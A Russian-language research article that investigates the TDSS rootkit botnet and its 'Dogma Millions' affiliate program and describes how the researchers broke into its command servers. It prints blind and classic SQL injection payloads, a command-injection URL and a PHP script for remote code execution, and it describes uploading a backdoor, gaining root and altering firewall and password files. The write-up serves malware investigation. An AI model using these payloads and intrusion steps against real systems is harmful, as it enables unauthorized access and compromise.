Бот-руткит TDSS на сегодняшний день хорошо изучен. Однако ни одно из исследований не идёт дальше анализа кода вредоносной программы и источников её распространения. Данная статья призвана восполнить этот пробел, осветив скрытые механизмы ботнета и его объективные характеристики.
Кроме того, при публикации этого материала мы преследовали еще одну цель: представить методологию расследования компьютерных преступлений. Данное исследование демонстрирует, как, имея на руках только инструмент злоумышленников (бинарный файл трояна), выйти на «цифровое ядро» киберформирования и проанализировать его. Следует заметить, что применяемый подход позволяет извлечь всю техническую информацию об инциденте, в то время как задача установления личностей атакующих и привлечения их к ответственности остаётся в сфере компетенции правоохранительных органов.
Часть 1. Вскрытие
В последнее время в интернете возрождается популярность партнерских программ. Всё больше и больше крупных ботнетов, результаты исследования которых публикуются в русскоязычных и зарубежных источниках, оказываются связаны с той или иной партнёрской программой. Ботнет TDSS — возможно, самый крупный на сегодняшний день — не является исключением. Распространение вредоносной программы, обеспечивающей функционирование данного ботнета, осуществляется партнёрской программой «Dogma Millions».
Главная страница партнёрской программы dogmamillions.com
На сайте
dogmamillions.com
описаны правила работы с партнёрской программой и условия для партнёров. После регистрации партнёру доступен для загрузки бинарный файл руткита TDSS, подлежащий распространению любыми удобными способами за комиссионное вознаграждение.Личный кабинет партнера на сайте партнерской программы
Партнёрам предоставляется удобная статистика по заражённым с их помощью компьютерам и количество заработанных комиссионных, а также ссылки на целевые страницы для заражения посетителей, на которые можно направлять поисковой трафик различных тематик.
Дополнительная учётная запись со ссылкой на загрузку исполняемого файла TDSS
Партнёрская программа
л
На сервере партнёрской программы использовалась база данных MySQL версии 5. Все запросы к базе данных, описанные далее, будут соответствовать языку запросов MySQL.
Поиск уязвимостей в скриптах личного кабинета не принёс результата. Однако получить доступ к базе данных всё-таки удалось: вначале при помощи атаки Blind SQL injection, а затем и классической атаки SQL injection.
Для партнёров существует возможность создания дополнительных учетных записей (subaccounts). Последние используются для анализа эффективности использования разных видов веб-трафика с разными целевыми страницы. Например, одной дополнительной учетной записи может соответствовать троян, на загрузку которого будет направляться порно-трафик. Таким образом, данный троян скачает жертва, просматривающая сайты с порнографическим содержимым. К другой может быть привязан троян, загружаемый посетителями сайтов с «крэками». В результате раздельного сбора статистики партнёр может оценить, какой вид трафика лучше подходит для работы с данной партнёрской программой, принося максимум комиссионных.
Дополнительные учётные записи создаются при помощи HTTP-запроса типа GET:
http://dogmamillions.com/index.php?request=members.sab_account&create=1
После такого запроса в личном кабинете партнёра появится дополнительная учётная запись с идентификатором 1. Её можно удалить, указав её идентификатор в соответствующем GET-запросе:
http://dogmamillions.com/index.php?request=members.sab_account&delete=1
Атака Blind SQL Injection заключалась в следующем. Необходимо было создать дополнительную учётную запись с любым произвольным идентификатором и затем попытаться его удалить. Параметр запроса delete был уязвим, поэтому возможно было провести атаку, отправив на сервер запрос следующего вида:
http://dogmamillions.com/index.php?request=members.sab_account&delete=if(ord(substring((version()),1,1))>1,1,0xffff)
Если значение выражения
ord(substring((version()),1,1))
больше 1, то условиеif
возвращает 1, и запрос упрощенно принимает следующий вид:http://dogmamillions.com/index.php?request=members.sab_account&delete=1
Если же условие ложно, то запрос будет иметь вид:
http://dogmamillions.com/index.php?request=members.sab_account&delete=0xffff
Таким образом, дополнительная учетная запись будет удалена только в том случае, если переданное в параметре
delete
условие истинно. На основе этих данных может быть проведена атака Blind SQL Injection.Возможен и другой вариант атаки. Параметр
create
команды создания дополнительной учётной записи также уязвим. Запрос следующего вида приведет к созданию на сервере дополнительной учетной записи с идентификатором, равным значению выражения:http://dogmamillions.com/index.php?request=members.sab_account&create=ord(substring((version()),1,1))
Таким образом, если версия базы данных на сервере выше 5, то первым символом строки, которую вернёт команда version(), будет «5». ASCII-код этого символа равен 53, поэтому в личном кабинете партнера появится дополнительная учётная запись с идентификатором 53.
affiliates affId affAid affLogin affPassword affGroup affBalance affBalanceEarnings affBalancePayout affBalanceRefferal affBalanceCPV affBalanceBonus affBalancePenalty affiliatesaccounts affId affSid bonuses countries cpvearnings cronUpdateStatFeeds cronId cronCreated cronStart cronCompleted cronDateFrom cronDateTo cronStatus crontime domains id domain status category groups invites managers news payments paymentsfields paymentsperiods paymentsproperties paymentstypes penalties statisticsearnings statisticsinstalls statisticsrefferals substatearnings
Часть таблиц с колонками из базы данных
dogmamillions.com
1:Ro**:c94405aee9b728bad************b1f 3:over****:5f4dcc3b5aa765d61************f99
Первые дополнительные учетные записи из таблицы
affiliates
базы данныхdogmamillions.com
На основе вышеописанных уязвимостей были разработаны эксплойты, с помощью которых был произведен анализ базы данных сервера партнёрской программы.
Командные сервера
На момент проведения анализа командные сервера (C&C, command-and-control) ботнета TDSS располагались по следующим доменным именам и IP-адресам (фрагмент файла конфигурации руткита):
[tdlcmd] servers=https://d45648675.cn/;https://d92378523.cn/;https://91.212.226.62/ wspservers=http://b11335599.cn/;http://b00882244.cn/ popupservers=http://m3131313.cn/
Управление ботнетом производится с трёх серверов, указанных в поле
servers
файла конфигурации. Именно их мы проверили на предмет уязвимостей в первую очередь.В результате анализа бинарного файла бота было установлено, что отправка данных на сервера осуществляется по следующему алгоритму:
- формируется пакет данных;
- этот пакет шифруется по алгоритму RC4, причём в качестве ключа используется IP-адрес либо доменное имя целевого сервера;
- пакет данных дополнительно кодируется по алгоритму Base64;
- данные отправляются на сервер.
Таким образом, пседвокод алгоритмов шифровки и дешифровки выглядит следующим образом:
сhar *encoded_data = base64_encode(rc4_encrypt(data, key)); сhar *decoded_data = rc4_decrypt(base64_decode(data), key);
Анализ данных, передаваемых ботом на сервер, выявил уязвимости, позволяющие произвести атаки Blind SQL injection и SQL Injection.
В частности, в результате неправильного GET-запроса сервер возвращал сообщение об ошибке, в тексте которого содержалась закодированная строка и полный путь к уязвимому скрипту на сервере.
Сообщение об ошибке при неправильном запросе к серверу
После расшифровки строки по описанному выше алгоритму была получена команда следующего вида:
remover|42F831D92B3BE5076B635F2347C80A41|10000|0|DDA|Trojan.Agent|C:\WINDOWS\system32\qo.dll|%SYSDIR%\qo.dll|success
Точное назначение этой команды на этапе атаки было неясным. Однако в результате её анализа было установлено, что третий параметр в списке, разделенном символом вертикальной черты, является уязвимым.
Первый вариант эксплойта, предназначенного для чтения данных из базы, был разработан с использованием метода задержки. Запрос для атаки выглядел следующим образом:
remover|42F831D92B3BE5076B635F2347C80A41|if(ord(substring((version()),1,1))>1,sleep(3),1)|0|DDA|Trojan.Agent|C:\WINDOWS\system32\qo.dll|SYSDIR\qo.dll|success
В основу этого эксплойта положена команда, при успешном выполнении которой ответ от базы данных придет с задержкой на 3 секунды, тогда как при невыполнении задержки не произойдет. Это стандартный вариант реализации атаки Blind SQL injection с задержкой с тем исключением, что вместо функции
benchmark()
использована функция sleep()
, так как последняя не создает нагрузки на СУБД.База данных
Приступив к атаке, мы первым делом проверили, имеет ли текущий пользователь привилегию на чтение и запись данных на сервере (
File_priv
). Запрос, отправленный на сервер для этой цели, до шифрования выглядел следующим образом:remover|42F831D92B3BE5076B635F2347C80A41|if(ord(substring((SELECT File_priv FROM mysql.user WHERE (CONCAT_WS(CHAR(64),User,Host) LIKE USER())),1,1))>1,sleep(3),1)|0|DDA|Trojan.Agent|C:\WINDOWS\system32\qo.dll|SYSDIR\qo.dll|success
Результат работы эксплойта для Blind SQL Injection с задержкой
В результате успешной эксплуатации стало ясно, что существует возможность чтения и записи для определенных файлов на сервере. Но, поскольку читать файлы при помощи этого эксплойта было бы слишком медленным, запрос к базе данных был переделан следующим образом:
remover|42F831D92B3BE5076B635F2347C80A41|if(ord(substring((version()),1,1))>1,1,(select 1 union select 2))|0|DDA|Trojan.Agent|C:\WINDOWS\system32\qo.dll|SYSDIR\qo.dll|success
При истинном значении условия новая команда вместо задержки возвращает ошибку, а при ложном — завершается успешно.
После считывания и изучения базы данных мы переключились на чтение файлов через уязвимость.
Работа эксплойта без задержки
Скрипты
В результате анализа кода файла
index.php
и подключаемых им скриптов была найдена ещё одна уязвимость, которая существенно облегчала исследование благодаря возможности сведения атаки типа Blind SQL Injection к классической атаке SQL Injection. Рассмотрим код файлов index.php
и modules.php
:<?php try { ... //$_SERVER["REQUEST_URI"] $request = rc4Decrypt( $_SERVER["HTTP_HOST"], base64_decode( substr( $_SERVER["REQUEST_URI"], 1 ) ) ); $requestCount = 0; $requestHost = $_SERVER["HTTP_HOST"]; if( $request ) { $request = explode( '|', $request ); $requestCount = sizeof( $request ); } else { header("HTTP/1.0 404 Not Found"); exit(); } ... } elseif( $request[0] == 'module' ) { DBase::connect( DBASE_HOST , DBASE_USER , DBASE_PWD , DBASE_BASE ); include( 'modules.php' ); DBase::disconnect(); } ... } else { var_dump($request); var_dump( base64_encode( rc4Encrypt($_SERVER["HTTP_HOST"], 'remover|42F831D92B3BE5076B635F2347C80A41|10000|0|DDA|Trojan.Agent|C:\WINDOWS\system32\qo.dll|%SYSDIR%\qo.dll|success') ) ); header("HTTP/1.0 404 Not Found"); exit(); } } catch( Exception $e ) { print $e; }
Часть скрипта
index.php
(многоточиями замещён опущенный код)<?php require_once( DIR_LIBRARY_MODELS . DS . 'mModules.php' ); if( preg_match( "%(\d*)!(.*)!%Uis", $request[1], $matches ) ) { $modId = $matches[1]; $modCrypt = $matches[2]; } else { $modId = $request[1]; $modCrypt = FALSE; } $modDetails = mModules::details( $modId ); if( $modCrypt ) { print rc4Encrypt( $modCrypt, $modDetails['modData'] ); } else { print $modDetails['modData']; } mModules::increment( $modId );
Уязвимый параметр в скрипте
modules.php
Как видно из последнего листинга, значение параметра
$request[1]
не проверяется перед использованием в коде скрипта. Для данной уязвимости был разработан эксплойт, позволявший выполнять чтение файлов и базы данных в 10 раз быстрее, чем предыдущий:module|-1 union select 0,1,count(*),3 from users
Данный запрос возвращает количество записей в таблице
users
в тексте сообщения об ошибке, возвращенном сервером.Проверка эксплойта SQL Injection и ответ сервера на запрос
Таким образом, была получена возможность использовать атаку типа SQL Injection, что существенно упростило и ускорило изучение сервера.
Следующей задачей было создание файла со скриптом, при помощи которого можно было бы выполнять команды к серверу напрямую, не используя атаку на MySQL.
«Чёрный ход»
На этапе внедрения скрипта для удалённого управления сервером возникло затруднение: а именно, все GET-запросы к серверу перенаправлялись на файл
index.php
. Таким образом, успешно разместив на сервере скрипт «чёрного хода», мы не могли к нему обратиться. Обойти это ограничение можно было путем модификации файла конфигурации веб-сервера.Для поиска файла конфигурации был произведен опрос различных возможных путей к нему через уязвимость SQL Injection. В качестве инструмента для тестирования вариантов пути к файлу использовалась программа с открытым кодом wfuzz, слегка модифицированная для обеспечения шифровки данных перед их отправкой на сервер. В результате тестирования был найден файл конфигурации веб-сервера:
/etc/lighttpd/lighttpd.conf
.Содержимое файла
lighttpd.conf
Листинг файла конфигурации дает представление о том, что перенаправление запросов на
index.php
происходило с помощью модуля mod_rewrite
, а настройки для виртуальных серверов подключались в отдельном скрипте на языке Perl. В указанном скрипте, в свою очередь, подключались файлы конфигурации с настройками для отдельных виртуальных серверов, имена которых получались путем перечисления файлов в заданной директории. Таким образом, путь к нужному нам для обхода перенаправления файлу был по-прежнему неизвестен.Для файла с настройками перенаправления был составлен и протестирован объемный список, содержащий доменные имена и IP-адреса, входящие и входившие в ботнет TDSS.
/etc/lighttpd/sites-enabled/212.117.162.50.conf /etc/lighttpd/sites-enabled/212.117.162.1.conf /etc/lighttpd/sites-enabled/91.212.226.59.conf /etc/lighttpd/sites-enabled/91.212.226.60.conf /etc/lighttpd/sites-enabled/91.212.226.61.conf /etc/lighttpd/sites-enabled/91.212.226.62.conf /etc/lighttpd/sites-enabled/91.212.226.63.conf /etc/lighttpd/sites-enabled/91.212.226.64.conf /etc/lighttpd/sites-enabled/91.212.226.65.conf /etc/lighttpd/sites-enabled/91.212.226.66.conf /etc/lighttpd/sites-enabled/91.212.226.67.conf /etc/lighttpd/sites-enabled/195.24.72.6.conf /etc/lighttpd/sites-enabled/83.243.8.6.conf /etc/lighttpd/sites-enabled/server.lu.conf /etc/lighttpd/sites-enabled/www.server.lu.conf
Часть списка возможных путей к файлам конфигурации
Однако желаемый результат был достигнут лишь в результате интеллектуального перебора возможных путей вручную. Итак, был найден файл конфигурации целевого виртуального сервера:
/etc/lighttpd/sites-enabled/engine.conf
.$SERVER["socket"] == "91.212.226.63:80" { $HTTP["host"] =~ "(.*)?" { server.document-root = "/var/www/dm_builder/php/" # url.redirect = ( "^/phpmyadmin/(.*)" => "https://213.133.110.18/phpmyadmin/$1" ) url.rewrite-once = ( "^/087dggl094aa/\?aid=(.*)&sid=(.*)$" => "/MakeBuild.php?aid=$1&sid=$2" ) accesslog.filename = "/var/log/lighttpd/build.log" } server.document-root = "/var/www/dm_builder/php/" } $SERVER["socket"] == "212.117.162.50:80" { $HTTP["host"] =~ "(.*)?" { server.document-root = "/var/www/dm_builder/php/" # url.redirect = ( "^/phpmyadmin/(.*)" => "https://213.133.110.18/phpmyadmin/$1" ) url.rewrite-once = ( "^/087dggl094aa/\?aid=(.*)&sid=(.*)$" => "/MakeBuild.php?aid=$1&sid=$2" ) accesslog.filename = "/var/log/lighttpd/build.log" } server.document-root = "/var/www/dm_builder/php/" } $SERVER["socket"] == "91.212.226.60:443" { ssl.engine = "enable" ssl.pemfile = "/etc/lighttpd/ssl/chief.pem" server.document-root = "/var/www/engine/public" server.errorlog = "/var/log/lighttpd/engine_error.log" accesslog.filename = "/var/log/lighttpd/engine_access.log" url.rewrite-once = ( "^/(.*)$" => "/index.php?request=$1" ) }
Часть файла
engine.conf
Файл конфигурации содержал настройки для шести серверов, только для двух из которых были созданы правила перенаправления HTTP-запросов на файл
index.php
. Для остальных серверов осуществлялось перенаправление HTTPS-запросов на скрипт MakeBuild.php
.Анализ скрипта
MakeBuild.php
с помощью последнего из разработанных эксплойтов показал, что в его задачи входит сборка и конфигурация исполняемого файла руткита TDSS. Скрипт принимает на вход несколько параметров, один из которых предоставляет собой отладочную информацию о сборке трояна.<? if (!isset($_GET['aid'])) exit(); $AID=$_GET['aid']; $SID=$_GET['sid']; if (empty($SID)) $SID=0; $DBG=$_GET['dbg']; $ENC=$_GET['enc']; /*if ($AID == 20034 || $AID == 20124) { $url = "http://213.133.110.18/03kd7nml094hx09/?aid={$AID}&sid={$SID}"; if ($ENC) $url .= "&enc={$ENC}"; if ($DBG) $url .= "&dbg={$DBG}"; header("HTTP/1.1 302 Found"); header("Location: {$url}"); exit(); }*/ $BuildPath="./builds/{$AID}-{$SID}.exe"; $ExitStatus=null; if(!chdir('/var/www/builder/')) exit();//exit('Error: Can\'t ChDir'); exec("/usr/bin/wine builder.exe {$AID} {$SID}",$OutPut,$ExitStatus); if ($DBG) { unlink($BuildPath); echo "<html><pre>\n+------------------------------+\n"; print_r($OutPut); echo "\n=------------------------------=\n"; exit('Builder exit status: '.$ExitStatus); }
Часть скрипта
MakeBuild.php
Скрипт
MakeBuild.php
оказался уязвимым к атаке на удаленное исполнение кода (remote code execution). В частности, как видно из листинга, входные параметры скрипта не фильтруются, а передаются напрямую в функцию exec()
. Дополнительно, если использовать параметр dbg
в запросе к скрипту, то в отладочном выводе будет напечатан результат выполнения команды.В результате выполнения следующего запроса выводится список файлов в текущей директории:
http://91.212.226.63/087dggl094aa/MakeBuild.php?aid=;ls;&dbg=1
Через эту уязвимость на сервер был загружен скрипт для удаленного управления.
Повышение привилегий
Права
root
на сервере были получены с помощью эксплойта для уязвимостиsock_sendpage()
, который потребовал небольшой модификации для обеспечения его выполнения в 64-битной операционной системе сервера.Директория
/root
на командном сервере сервере TDSSПанель управления
Настройки для панели управления ботнетом содержались в файле
engine_admin.conf
, расположенном в той же директории, что и файл engine.conf
.$SERVER["socket"] == "91.212.226.59:443" { ssl.engine = "enable" ssl.pemfile = "/etc/lighttpd/ssl/chief.pem" # $HTTP["host"] =~ "^engineadmin\.com$" { server.document-root = "/var/www/engine/tools/public" server.errorlog = "/var/log/lighttpd/admin.engine_error.log" accesslog.filename = "/var/log/lighttpd/admin.engine_access.log" url.rewrite-once = ( "^/([0-9a-zA-Z/]+)/?\??(.*=.*)?$" => "/index.php?request=$1&$2" ) $HTTP["url"] =~ "^/" { auth.backend = "htpasswd" auth.backend.htpasswd.userfile = "/etc/lighttpd/htpasswd.engine" auth.require = ( "/" => ( "method" => "basic", "realm" => "Use your credit card number as username, cvv2 as password. Thank you ;)", "require" => "valid-user" ) ) } # } }
Содержимое файла
engine_admin.conf
Как видно из файла, адрес панели администрирования — 91.212.226.59. Однако открыть этот адрес в веб-браузере не удавалось: наш IP-адрес не входил в «белый список» доступа. Обойти эту защиту позволила модификация правил фаервола, описанных в файле
/root/ipt.rules
.-A INPUT -i lo -j ACCEPT -A INPUT -s 66.148.74.126/32 -p tcp -m tcp -m multiport --dports 22,443,80,873,3306 -j ACCEPT -A INPUT -s 188.40.72.68/32 -p tcp -m tcp -m multiport --dports 22,443,80,873,3306 -j ACCEPT -A INPUT -s 188.40.72.125/32 -p tcp -m tcp -m multiport --dports 22,443,80,873,3306 -j ACCEPT -A INPUT -s 204.12.213.144/29 -p tcp -m tcp -m multiport --dports 22,443,80,873,3306 -j ACCEPT -A INPUT -s 91.212.226.49/32 -p tcp -m tcp -m multiport --dports 22,443,80,873,3306 -j ACCEPT -A INPUT -d 212.117.162.50/32 -p tcp -m tcp -m multiport --dports 443,80 -j REJECT --reject-with icmp-port-unreachable -A INPUT -d 91.212.226.59/32 -p tcp -m tcp -m multiport --dports 443,80 -j REJECT --reject-with icmp-port-unreachable -A INPUT -i eth0 -p tcp -m tcp -m multiport --dports 3306 -j REJECT --reject-with icmp-port-unreachable -A INPUT -s 195.138.81.135/32 -p tcp -m tcp --dport 22 -j ACCEPT -A INPUT -i eth0 -p tcp -m tcp --dport 873 -j REJECT --reject-with icmp-port-unreachable -A INPUT -i eth0 -p tcp -m tcp --dport 22 -j REJECT --reject-with icmp-port-unreachable COMMIT
Изначальное содержимое файла
ipt.rules
Таким образом, доступ к сайту панели управления был получен, но для входа в панель требовалась стандартная авторизация (Basic Authorisation). Пароли для входа хранились в файле
htpasswd.engine
в зашифрованном виде. Но, вместо подбора паролей, для первого доступа мы подменили файл htpasswd.engine
целиком. Позже выяснилось, что логины и пароли к панели управления хранились в базе данных без шифрования, что позволило использовать их для дальнейшего доступа.Запрос авторизации при входе в административную панель
Панель администрирования командного сервера ботнета представляла собой удобный веб-интерфейс для получения подробной статистики о зараженных компьютерах. Стоит отметить такие возможности, как отображение информации о количестве загрузок, статистика по странам, операционным системам и веб-браузерам зараженных компьютеров, просмотр подгружаемых модулей и запущенных на выполнение команд.
Статистика числа заражений по дням
Статистика по операционным системам
Запущенные на выполнение команды
Статистика по странам
Модули TDSS
Смена серверов
Тем временем начала распространяться новая версия бота TDSS (3.64). В этой версии сменились адреса командных серверов.[tdlcmd] servers=https://a57990057.cn/;https://a58990058.cn/;https://94.228.209.145/ wspservers=http://c36996639.cn/;http://c58446658.cn/ popupservers=http://m2121212.cn/
.
Скрипты новых серверов претерпели некоторые изменения. В частности, была исправлена уязвимость с выводом ошибки при неверном GET-запросе к серверу. Но, поскольку все остальные найденные ранее уязвимости успешно функционировали, то было возможно прочитать файл
index.php
. Его код оказался доработан: теперь все исключения записывались в файл лога. Настройки сервера также претерпели изменения. В частности, в дополнение к HTTP-серверу lighttpd
в качествефронтенда был установлен дополнительный веб-сервер nginx.Конфигурацонный файл виртуальных серверов на новом сервере остался прежним:
engine.conf
.Таким образом, панель администрирования сервера теперь располагалась по адресу 188.72.242.191, а наш скрипт удаленного управления остался на сервере с по адресу 188.72.242.190. Как видно из листинга, каждому IP-адресу соответствует отдельное доменное имя. Возможность использования «чёрного хода» оказалась недоступна. Для обхода этого ограничения был разработан следующий скрипт:
<?php $fp = fsockopen("ssl://94.228.209.145",443,$errno,$errstr); if(!$fp) die("[e] $errno,$errstr"); $header = "GET /MakeBuild.php?aid=;".urlencode($argv[1]).";&dbg=1 HTTP/1.1\r\n"; $header .= "Host: bld.newnetengine.com\r\n"; $header .= "Connection: close\r\n\r\n"; fwrite($fp,$header); while(!feof($fp)) print(fgets($fp,256)); fclose($fp); print $buff;
Скрипт для выполнения команд на новом сервере через файл
MakeBuild.php
Данный скрипт обеспечивает отправку запроса к скрипту
MakeBuild.php
путем подстановки доменного имени сервера, на котором хранится файл скрипта (bld.newnetengine.com
), в поле Host
HTTP-запроса. Получив такой запрос, HTTP-сервер nginx на командном сервере перенаправлял его на указанный сервер и возвращал ответ.Часть 2. Анализ
Командный сервер ботнета работает под управлением 64-разрядной операционной системы Ubuntu Linux:
# uname -a Linux C020 2.6.29.2 #1 SMP Sun Jul 26 11:29:05 CEST 2009 x86_64 GNU/Linux # cat /etc/lsb-release DISTRIB_ID=Ubuntu DISTRIB_RELEASE=9.04 DISTRIB_CODENAME=jaunty DISTRIB_DESCRIPTION="Ubuntu 9.04"
Для сетевого интерфейса eth0 назначено 10 IP-адресов:
# ifconfig eth0 Link encap:Ethernet HWaddr 00:21:85:63:2c:55 inet addr:212.117.162.50 Bcast:212.117.162.255 Mask:255.255.255.0 inet6 addr: fe80::221:85ff:fe63:2c55/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:8401814139 errors:0 dropped:0 overruns:0 frame:0 TX packets:7557368326 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:855626520252 (855.6 GB) TX bytes:4595270022127 (4.5 TB) Interrupt:17 Base address:0x2000 eth0:1 Link encap:Ethernet HWaddr 00:21:85:63:2c:55 inet addr:91.212.226.59 Bcast:91.255.255.255 Mask:255.255.255.255 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 Interrupt:17 Base address:0x2000 eth0:2 Link encap:Ethernet HWaddr 00:21:85:63:2c:55 inet addr:91.212.226.60 Bcast:91.255.255.255 Mask:255.255.255.255 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 Interrupt:17 Base address:0x2000 eth0:3 Link encap:Ethernet HWaddr 00:21:85:63:2c:55 inet addr:91.212.226.61 Bcast:91.255.255.255 Mask:255.255.255.255 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 Interrupt:17 Base address:0x2000 eth0:4 Link encap:Ethernet HWaddr 00:21:85:63:2c:55 inet addr:91.212.226.62 Bcast:91.255.255.255 Mask:255.255.255.255 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 Interrupt:17 Base address:0x2000 eth0:5 Link encap:Ethernet HWaddr 00:21:85:63:2c:55 inet addr:91.212.226.63 Bcast:91.255.255.255 Mask:255.255.255.255 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 Interrupt:17 Base address:0x2000 eth0:6 Link encap:Ethernet HWaddr 00:21:85:63:2c:55 inet addr:91.212.226.64 Bcast:91.255.255.255 Mask:255.255.255.255 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 Interrupt:17 Base address:0x2000 eth0:7 Link encap:Ethernet HWaddr 00:21:85:63:2c:55 inet addr:91.212.226.65 Bcast:91.255.255.255 Mask:255.255.255.255 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 Interrupt:17 Base address:0x2000 eth0:8 Link encap:Ethernet HWaddr 00:21:85:63:2c:55 inet addr:91.212.226.66 Bcast:91.255.255.255 Mask:255.255.255.255 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 Interrupt:17 Base address:0x2000 eth0:9 Link encap:Ethernet HWaddr 00:21:85:63:2c:55 inet addr:91.212.226.67 Bcast:91.255.255.255 Mask:255.255.255.255 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 Interrupt:17 Base address:0x2000 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:10295737718 errors:0 dropped:0 overruns:0 frame:0 TX packets:10295737718 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:3644745121946 (3.6 TB) TX bytes:3644745121946 (3.6 TB)
Из них четыре (91.212.226.60, 91.212.226.61, 91.212.226.62 и 91.212.226.64) используются для доступа к веб-шлюзу, с которым работают боты, два (91.212.226.63 и 212.117.162.50) — для доступа к веб-интерфейсу для сборки и конфигурации бота, и один (91.212.226.59) — для доступа к панели администрирования ботнета.
Учетные записи локальных пользователей в файле
/etc/shadow
Список запущенных процессов на сервере на момент анализа выглядел следующим образом:
PID TTY STAT TIME COMMAND 1076 ? S<s 0:04 /sbin/udevd --daemon 1575 ? S 1154:22 /usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf 2453 ? Ss 0:00 /sbin/mdadm --monitor --pid-file /var/run/mdadm/monitor.pid --daemonise --scan --syslog 3801 tty2 Ss+ 0:00 /sbin/getty 38400 tty2 3826 ? Ss 0:16 /sbin/syslogd -u syslog 3845 ? S 0:00 /bin/dd bs 1 if /proc/kmsg of /var/run/klogd/kmsg 3848 ? Ss 0:00 /sbin/klogd -P /var/run/klogd/kmsg 3890 ? Ss 1:54 /bin/dbus-daemon --system 3936 ? Ssl 69:36 /usr/sbin/named -u bind 3973 ? Ss 0:01 /usr/sbin/ntpd -p /var/run/ntpd.pid -u 108:117 -g 3986 ? Ss 0:01 /usr/sbin/sshd 3991 ? Sl 1736:18 /usr/bin/memcached -m 2048 -p 11211 -u nobody -l 127.0.0.1 4067 ? Ss 0:00 /usr/lib/postfix/master 4084 ? S 0:00 qmgr -l -t fifo -u 4086 ? Ss 0:00 /usr/sbin/winbindd 4113 ? S 0:00 /usr/sbin/winbindd 4118 ? Ss 86:34 avahi-daemon: running [C020.local] 4119 ? Ss 0:00 avahi-daemon: chroot helper 4134 ? S 0:00 /usr/bin/rsync --no-detach --daemon --config /etc/rsyncd.conf 4185 ? Ss 0:03 /usr/sbin/cron 4220 tty1 Ss+ 0:00 /sbin/getty 38400 tty1 4225 ? Ssl 36:54 /usr/sbin/console-kit-daemon 4436 ? S< 223:30 [loop3] 4465 ? S< 72:26 [kjournald2] 4498 ? S 0:00 /bin/sh /usr/bin/mysqld_safe 4728 ? SLl 87943:36 /usr/sbin/mysqld 6773 ? S 0:39 /usr/bin/php-cgi 7303 ? S 0:32 /usr/bin/php-cgi 7320 ? S 0:31 /usr/bin/php-cgi 7447 ? S 0:27 /usr/bin/php-cgi 7590 ? S 0:25 /usr/bin/php-cgi 7796 ? S 0:19 /usr/bin/php-cgi 7944 ? S 0:16 /usr/bin/php-cgi 7982 ? S 0:15 /usr/bin/php-cgi 8002 ? S 0:00 /USR/SBIN/CRON 8048 ? Ss 0:00 /bin/sh -c /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildslife.php 8058 ? S 0:05 /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildslife.php 8243 ? S 0:00 /USR/SBIN/CRON 8282 ? Ss 0:00 /bin/sh -c /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildsmlife.php 8287 ? S 0:06 /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildsmlife.php 8467 ? S 0:00 /USR/SBIN/CRON 8483 ? Ss 0:00 /bin/sh -c /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildswlife.php 8484 ? S 0:03 /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildswlife.php 8637 ? S 0:00 pickup -l -t fifo -u -c 8812 ? S 0:30 /usr/bin/php-cgi 8903 ? S 0:26 /usr/bin/php-cgi 8937 ? S 0:18 /usr/bin/php-cgi 8966 ? S 0:17 /usr/bin/php-cgi 8971 ? S 0:16 /usr/bin/php-cgi 9057 ? S 0:08 /usr/bin/php-cgi 9081 ? S 0:05 /usr/bin/php-cgi 9249 ? S 0:03 /usr/bin/php-cgi 9299 ? S 0:00 sh -c ps ax 9300 ? R 0:00 ps ax 26004 ? S 0:00 [pdflush] 26007 ? S 0:01 [pdflush] 27746 ? Ss 0:00 ssh-agent 28031 ? Ss 0:01 /usr/bin/php-cgi 28042 ? Ss 0:03 /usr/bin/php-cgi
База данных и скрипты
В качестве СУБД на сервере используется MySQL, а в качестве веб-сервера — LightTPD, к которому в качестве обработчика CGI-приложений подключен пакет PHP. Кроме того, часть данных, обращения к которым производятся наиболее часто, кэшируются в памяти с помощью программы memcached.
Скрипты панели администрирования и шлюза для ботов находятся в директории
/var/www/engine
, которая имеет следующую структуру:+--- cron - PHP-скрипты, исполняемые по расписанию +--- data - база адресов GeoIP и некоторые текстовые файлы +--- library - различные библиотеки PHP, используемые скриптами +--- public - скрипты, обрабатывающие запросы от ботов | (корневая директория веб-сервера, обслуживающего ботов) \--- tools | +--- controllers - PHP-скрипты для различных страниц панели администрирования | +--- layouts - главный HTML-шаблон для панели администрирования | +--- public - основные скрипты панели администрирования | | (корневая директория веб-сервера, обслуживающего панель администрирования) | +--- views - HTML-шаблоны-для различных страниц панели администрирования +--- configuration.php - файл настроек доступа к базе данных и т.п.
На момент получения доступа к серверу база данных содержала 47 таблиц с общим количеством записей порядка 17 719 469 и занимала на диске примерно 2,6 ГБ.
Имена и назначения таблиц:
Имя таблицы | Число записей | Объём данных | Назначение |
affiliates | 512 | 80,0 кБ | Учётные записи партнёров и статистика по ним |
affiliatesaccounts | 607 | 64,0 кБ | |
affiliatesregistrations | 507 | 64,0 кБ | |
affiliatesstatistics | ≈ 62 136 | 8,5 МБ | |
affiliatesstatisticsbrowser | ≈ 53 072 | 7,1 МБ | |
affiliatesstatisticsbuild | ≈ 5 979 072 | 655,8 МБ | |
affiliatesstatisticscountry | ≈ 245 253 | 26,1 МБ | |
affiliatesstatisticssts | 63 | 3,3 кБ | |
affiliatesstatisticssystem | ≈ 56 982 | 7,1 мБ | |
bots | ≈ 5 247 199 | 1,4 ГБ | Основная таблица с информацией о ботах |
